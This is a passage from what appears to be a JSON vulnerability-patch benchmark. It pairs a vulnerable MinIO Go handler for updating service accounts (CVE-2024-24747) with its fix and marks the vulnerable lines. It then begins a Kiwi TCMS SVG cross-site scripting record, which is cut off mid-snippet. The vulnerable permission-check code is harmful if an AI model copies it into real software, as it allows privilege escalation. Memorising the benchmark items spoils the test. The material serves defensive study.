{\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\taccessKey := mux.Vars(r)[\"accessKey\"]\n\tif accessKey == \"\" {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)\n\t\treturn\n\t}\n\n\tsvcAccount, _, err := globalIAMSys.GetServiceAccount(ctx, accessKey)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\tif !globalIAMSys.IsAllowed(policy.Args{\n\t\tAccountName: cred.AccessKey,\n\t\tGroups: cred.Groups,\n\t\tAction: policy.UpdateServiceAccountAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner: owner,\n\t\tClaims: cred.Claims,\n\t}) {\n\t\trequestUser := cred.AccessKey\n\t\tif cred.ParentUser != \"\" {\n\t\t\trequestUser = cred.ParentUser\n\t\t}\n\n\t\tif requestUser != svcAccount.ParentUser {\n\t\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\t\treturn\n\t\t}\n\t}\n\n\tpassword := cred.SecretKey\n\treqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tvar updateReq madmin.UpdateServiceAccountReq\n\tif err = json.Unmarshal(reqBytes, &updateReq); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tif err := updateReq.Validate(); err != nil {\n\t\t// Since this validation would happen client side as well, we only send\n\t\t// a generic error message here.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tvar sp *policy.Policy\n\tif len(updateReq.NewPolicy) > 0 {\n\t\tsp, err = policy.ParseConfig(bytes.NewReader(updateReq.NewPolicy))\n\t\tif err != nil {\n\t\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\t\treturn\n\t\t}\n\t\tif sp.Version == \"\" && len(sp.Statements) == 0 {\n\t\t\tsp = nil\n\t\t}\n\t}\n\topts := updateServiceAccountOpts{\n\t\tsecretKey: updateReq.NewSecretKey,\n\t\tstatus: updateReq.NewStatus,\n\t\tname: updateReq.NewName,\n\t\tdescription: updateReq.NewDescription,\n\t\texpiration: updateReq.NewExpiration,\n\t\tsessionPolicy: sp,\n\t}\n\tupdatedAt, err := globalIAMSys.UpdateServiceAccount(ctx, accessKey, opts)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Call site replication hook - non-root user accounts are replicated.\n\tif svcAccount.ParentUser != globalActiveCred.AccessKey {\n\t\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\t\tType: madmin.SRIAMItemSvcAcc,\n\t\t\tSvcAccChange: &madmin.SRSvcAccChange{\n\t\t\t\tUpdate: &madmin.SRSvcAccUpdate{\n\t\t\t\t\tAccessKey: accessKey,\n\t\t\t\t\tSecretKey: opts.secretKey,\n\t\t\t\t\tStatus: opts.status,\n\t\t\t\t\tName: opts.name,\n\t\t\t\t\tDescription: opts.description,\n\t\t\t\t\tSessionPolicy: updateReq.NewPolicy,\n\t\t\t\t\tExpiration: updateReq.NewExpiration,\n\t\t\t\t},\n\t\t\t},\n\t\t\tUpdatedAt: updatedAt,\n\t\t}))\n\t}\n\n\twriteSuccessNoContent(w)\n}", "vul_localization": [ { "patch_lines": [ 37, 38, 39, 40, 41, 42, 43, 44, 45 ], "tag": "modify" } ] } ], "fix_func": [ { "id": "fix_go_73_1", "commit": "0ae4915", "file_path": "cmd/admin-handlers-users.go", "start_line": "749", "end_line": "864", "snippet": "func (a adminAPIHandlers) UpdateServiceAccount(w http.ResponseWriter, r *http.Request) {\n\tctx := r.Context()\n\n\t// Get current object layer instance.\n\tobjectAPI := newObjectLayerFn()\n\tif objectAPI == nil || globalNotificationSys == nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tcred, owner, s3Err := validateAdminSignature(ctx, r, \"\")\n\tif s3Err != ErrNone {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(s3Err), r.URL)\n\t\treturn\n\t}\n\n\taccessKey := mux.Vars(r)[\"accessKey\"]\n\tif accessKey == \"\" {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrInvalidRequest), r.URL)\n\t\treturn\n\t}\n\n\tsvcAccount, _, err := globalIAMSys.GetServiceAccount(ctx, accessKey)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Permission checks:\n\t//\n\t// 1. Any type of account (i.e. access keys (previously/still called service\n\t// accounts), STS accounts, internal IDP accounts, etc) with the\n\t// policy.UpdateServiceAccountAdminAction permission can update any service\n\t// account.\n\t//\n\t// 2. We would like to let a user update their own access keys, however it\n\t// is currently blocked pending a re-design. Users are still able to delete\n\t// and re-create them.\n\tif !globalIAMSys.IsAllowed(policy.Args{\n\t\tAccountName: cred.AccessKey,\n\t\tGroups: cred.Groups,\n\t\tAction: policy.UpdateServiceAccountAdminAction,\n\t\tConditionValues: getConditionValues(r, \"\", cred),\n\t\tIsOwner: owner,\n\t\tClaims: cred.Claims,\n\t}) {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAccessDenied), r.URL)\n\t\treturn\n\t}\n\n\tpassword := cred.SecretKey\n\treqBytes, err := madmin.DecryptData(password, io.LimitReader(r.Body, r.ContentLength))\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tvar updateReq madmin.UpdateServiceAccountReq\n\tif err = json.Unmarshal(reqBytes, &updateReq); err != nil {\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErrWithErr(ErrAdminConfigBadJSON, err), r.URL)\n\t\treturn\n\t}\n\n\tif err := updateReq.Validate(); err != nil {\n\t\t// Since this validation would happen client side as well, we only send\n\t\t// a generic error message here.\n\t\twriteErrorResponseJSON(ctx, w, errorCodes.ToAPIErr(ErrAdminResourceInvalidArgument), r.URL)\n\t\treturn\n\t}\n\n\tvar sp *policy.Policy\n\tif len(updateReq.NewPolicy) > 0 {\n\t\tsp, err = policy.ParseConfig(bytes.NewReader(updateReq.NewPolicy))\n\t\tif err != nil {\n\t\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\t\treturn\n\t\t}\n\t\tif sp.Version == \"\" && len(sp.Statements) == 0 {\n\t\t\tsp = nil\n\t\t}\n\t}\n\topts := updateServiceAccountOpts{\n\t\tsecretKey: updateReq.NewSecretKey,\n\t\tstatus: updateReq.NewStatus,\n\t\tname: updateReq.NewName,\n\t\tdescription: updateReq.NewDescription,\n\t\texpiration: updateReq.NewExpiration,\n\t\tsessionPolicy: sp,\n\t}\n\tupdatedAt, err := globalIAMSys.UpdateServiceAccount(ctx, accessKey, opts)\n\tif err != nil {\n\t\twriteErrorResponseJSON(ctx, w, toAdminAPIErr(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Call site replication hook - non-root user accounts are replicated.\n\tif svcAccount.ParentUser != globalActiveCred.AccessKey {\n\t\tlogger.LogIf(ctx, globalSiteReplicationSys.IAMChangeHook(ctx, madmin.SRIAMItem{\n\t\t\tType: madmin.SRIAMItemSvcAcc,\n\t\t\tSvcAccChange: &madmin.SRSvcAccChange{\n\t\t\t\tUpdate: &madmin.SRSvcAccUpdate{\n\t\t\t\t\tAccessKey: accessKey,\n\t\t\t\t\tSecretKey: opts.secretKey,\n\t\t\t\t\tStatus: opts.status,\n\t\t\t\t\tName: opts.name,\n\t\t\t\t\tDescription: opts.description,\n\t\t\t\t\tSessionPolicy: updateReq.NewPolicy,\n\t\t\t\t\tExpiration: updateReq.NewExpiration,\n\t\t\t\t},\n\t\t\t},\n\t\t\tUpdatedAt: updatedAt,\n\t\t}))\n\t}\n\n\twriteSuccessNoContent(w)\n}" } ], "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-24747" }, { "cve_id": "CVE-2023-33977", "cve_description": "Kiwi TCMS has an upload-related cross-site scripting weakness in its attachment handling. Authenticated users who can upload attachments to objects such as test plans or test cases may supply browser-renderable files, especially SVG content, that contain executable JavaScript through constructs such as script elements or event-handler attributes like onload, including case variations. The attachment validation applied by the real configured upload path must reject such active content rather than only detecting a narrow spelling or a single helper-specific pattern. If a malicious attachment is accepted and later served to other users, their browsers may execute attacker-controlled JavaScript in the Kiwi TCMS context. In addition, deployments that serve uploaded files through Nginx or a reverse proxy must continue to deliver effective browser security headers for uploaded content so that proxy/location configuration does not remove protections such as content sniffing prevention, frame restrictions, and Content-Security-Policy.", "cwe_info": { "CWE-79": { "name": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "description": "The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users." } }, "repo": "https://github.com/kiwitcms/Kiwi", "patch_url": [ "https://github.com/kiwitcms/Kiwi/commit/d789f4b51025de4f8c747c037d02e1b0da80b034" ], "programing_language": "Python", "vul_func": [ { "id": "vul_py_21_1", "commit": "ce5b83e", "file_path": "tcms/kiwi_attachments/validators.py", "start_line": 5, "end_line": 9, "snippet": "def deny_uploads_containing_script_tag(uploaded_file):\n for chunk in uploaded_file.chunks(2048):\n if chunk.lower().find(b\" -1:\n raise ValidationError(_(\"File contains forbidden